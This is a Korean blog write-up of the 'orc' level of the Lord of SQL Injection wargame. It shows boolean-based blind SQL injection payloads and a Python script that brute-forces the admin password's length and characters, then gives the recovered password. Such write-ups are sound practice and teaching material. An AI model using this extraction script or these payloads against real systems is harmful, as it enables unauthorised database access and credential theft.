DoR@Hee의 끄적끄적
los - orc 본문
ORC 문제 $_GET[pw]를 이용해서 pw의 값을 받고 있고
pw 파라미터에 prob 가 들어가면 "No Hack ~_~"가 나타난다
입력받은 pw를 쿼리문에 넣어서 쿼리문에 따른 값이 나오고 있다.
그리고 값은 값을 addslashes 함수를 이용해서 ' ' 등이 나오면 \로 이스케이프 하고있다.
result['pw'] 즉 admin 비밀번호와 입력받은 pw가 맞으면 solve()
일단 쿼리문을 무조건 참 값을 만들기위해 '1 pw or 1=1-- %20을 입력
"Hello admin"이라는 문자열이 나온다.
pw의 길이를 알아내기 위해서 1 or length(pw)=1 입력
일단 한자리는 아니라는것을 알 수 있다.
이유는 참값이 나오면 "Hello admin" 문자열이 나타나야하기 ㄸ
'1 or length(pw)=8--를 입력하면
"Hello admin" 문자열이 나타난다 즉 참
길이는 8자리
또한 admin pw를 알아내기위해서 ascii(substr(pw,1,1)) = 50을 입력 하면 참값이 나온다.
50은 아스키코드표로 2
이러한 결과로 파이썬을 돌리면
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | import requests cookies = {'__cfduid': 'dd984a23b0825aec153e7a06af3bb6c2b1552956554', 'PHPSESSID': 'alr5v4lnflnfhsb6r64s8t0us6'} for lengths in range(1, 30): length = 0 url1 = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php" url = url1 + "?pw='or length(pw)={0}-- ".format(lengths) res = requests.get(url, cookies=cookies) if "<h2>Hello admin</h2>" in res.text: print("=====================================") print("길이는{0}".format(lengths)) print("=====================================\n") length = lengths break else: continue for i in range(1, length): for j in range(33, 127): result = [] url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=%27or%20ascii(substr(pw,{0},1))={1}--%20".format(i, j) res = requests.get(url, cookies=cookies) if "<h2>Hello admin</h2>" in res.text: print("{0}".format(chr(j)), end='') result.append(chr(j)) break | cs |
아래와 같이 답이 나오는대
답은 아니다
확인 해 본 결과
3번째 자리의 값이 52(4)도 참
53(5)도 참이다
문제의 낚시인건지 일단 잘 모르겠다
그래서 정답은
295d5844
'WarGame > los(los.rubiya.kr)' 카테고리의 다른 글
los - darkelf (0) | 2019.03.20 |
---|---|
los - wolfman (0) | 2019.03.20 |
los - goblin (0) | 2019.02.27 |
los - cobolt (0) | 2019.02.27 |
los - gremlin (0) | 2019.02.27 |
Comments